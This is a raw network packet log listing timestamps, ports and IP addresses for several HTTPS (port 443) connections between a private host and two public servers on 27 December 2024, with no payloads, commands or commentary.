Dec 27, 2024 14:42:17.160908937 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.161139011 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.161196947 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.161222935 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.168430090 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.168550968 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.168571949 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.176865101 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.176942110 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.176956892 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.221605062 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.221616983 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.268732071 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.352016926 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.355726957 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.355794907 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.355815887 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.356030941 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.356092930 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.356219053 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.356252909 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.356302977 CET	49732	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.356318951 CET	443	49732	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.448117971 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.448152065 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:17.448246002 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.448527098 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:17.448542118 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:18.761187077 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:18.761336088 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:18.762587070 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:18.762594938 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:18.763494015 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:18.764602900 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:18.764720917 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:18.764764071 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:18.764841080 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:18.764846087 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:19.894205093 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:19.894349098 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:19.894426107 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:19.894778013 CET	49733	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:19.894798040 CET	443	49733	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:19.980380058 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:19.980452061 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:19.980530024 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:19.980829954 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:19.980844021 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:21.245212078 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:21.245332956 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:21.246742010 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:21.246762037 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:21.247102976 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:21.248295069 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:21.248416901 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:21.248464108 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:22.137427092 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:22.137706041 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:22.137789011 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:22.148124933 CET	49734	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:22.148152113 CET	443	49734	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:22.620250940 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:22.620280981 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:22.620352030 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:22.620729923 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:22.620745897 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:23.878350019 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:23.878487110 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:23.887398005 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:23.887422085 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:23.887670994 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:23.888978004 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:23.889179945 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:23.889219046 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:23.891686916 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:23.891695023 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:24.844737053 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:24.844862938 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:24.844933033 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:24.943057060 CET	49735	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:24.943078995 CET	443	49735	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:25.931902885 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:25.931925058 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:25.931993008 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:25.932313919 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:25.932332039 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.144455910 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.144537926 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:27.146076918 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:27.146087885 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.146337986 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.147519112 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:27.147696018 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:27.147705078 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.842027903 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.842140913 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.847335100 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:27.847443104 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:27.942416906 CET	49736	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:27.942436934 CET	443	49736	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:29.223927021 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:29.224033117 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:29.224131107 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:29.224493980 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:29.224529028 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.436496019 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.436584949 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.441178083 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.441195965 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.441597939 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.443171024 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.444072962 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.444097042 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.444175005 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.444194078 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.444287062 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.444343090 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.444443941 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.444459915 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.444578886 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.444595098 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.444792986 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.444814920 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.491343975 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.491508961 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.491561890 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.539335012 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.541898012 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.541968107 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.541984081 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.587341070 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.587774992 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.587830067 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.635337114 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.635723114 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.683335066 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.684173107 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.687711000 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:30.687747955 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:30.804475069 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:33.582474947 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:33.582596064 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:33.582642078 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:33.586483002 CET	49739	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:33.586503029 CET	443	49739	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:33.805347919 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:33.805386066 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:33.805454969 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:33.805740118 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:33.805753946 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.064224005 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.064340115 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:35.067852974 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:35.067858934 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.068156004 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.080204010 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:35.080204010 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:35.080305099 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.804274082 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.804377079 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.804431915 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:35.804584980 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:35.804605961 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:35.804621935 CET	49743	443	192.168.2.4	172.67.157.254
Dec 27, 2024 14:42:35.804626942 CET	443	49743	172.67.157.254	192.168.2.4
Dec 27, 2024 14:42:36.119245052 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:36.119278908 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:36.119359970 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:36.119730949 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:36.119745970 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:37.451695919 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:37.451791048 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:37.455183983 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:37.455193996 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:37.455493927 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:37.464040041 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:37.511337996 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.200465918 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.200541973 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.200577021 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.200623989 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.200659037 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.200660944 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.200675964 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.200700998 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.200712919 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.200762033 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.208684921 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.209696054 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.209703922 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.218401909 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.221769094 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.221777916 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.268446922 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.268460035 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.315264940 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.410732031 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.414469957 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.419281006 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.419307947 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.422359943 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.422466040 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.422473907 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.430175066 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.431592941 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.431611061 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.438308001 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.441744089 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.441750050 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.445780039 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.449668884 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.449675083 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.461303949 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.461416006 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.461488962 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.461496115 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.461956978 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.469153881 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.477181911 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.477230072 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.477298975 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.477309942 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.477910995 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.484762907 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.534197092 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.534213066 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.580894947 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.621341944 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.625117064 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.625245094 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.625257015 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.635804892 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.635910034 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.635945082 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.635951996 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.636082888 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.643635035 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.651472092 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.651621103 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.651626110 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.667027950 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.667117119 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.667124033 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.667201042 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.674966097 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.674984932 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.675075054 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.682748079 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.682928085 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.698647976 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.698659897 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.698720932 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.713949919 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.713959932 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.714112997 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.729476929 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.729486942 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.729664087 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.737298012 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.737412930 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.752921104 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.753068924 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.768440008 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.768559933 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.834594965 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.834742069 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.840343952 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.840461969 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.851567984 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.851680994 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.862397909 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.862453938 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.867645979 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.867708921 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.877728939 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.877829075 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.887229919 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.887335062 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.892047882 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.892117977 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.897346973 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.897434950 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.902479887 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.902560949 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.905184031 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.905263901 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.910516024 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.910587072 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.915680885 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.915738106 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.918658018 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.918718100 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.923693895 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.923760891 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.928860903 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.928926945 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.934237003 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.934307098 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:38.936793089 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:38.936861992 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.042052984 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.042121887 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.044904947 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.044958115 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.049329996 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.049418926 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.051620007 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.051717043 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.055875063 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.055953979 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.059885025 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.059958935 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.064044952 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.064132929 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.066174030 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.066344023 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.070271015 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.070339918 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.072444916 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.072536945 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.076596975 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.076658010 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.079245090 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.079322100 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.081974030 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.082024097 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.087605000 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.087615013 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.087637901 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.087670088 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.087681055 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.087714911 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.087714911 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.096724987 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.096748114 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.096810102 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.096817017 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:39.096853018 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.096853018 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:39.106240034 CET	443	49745	172.67.182.218	192.168.2.4
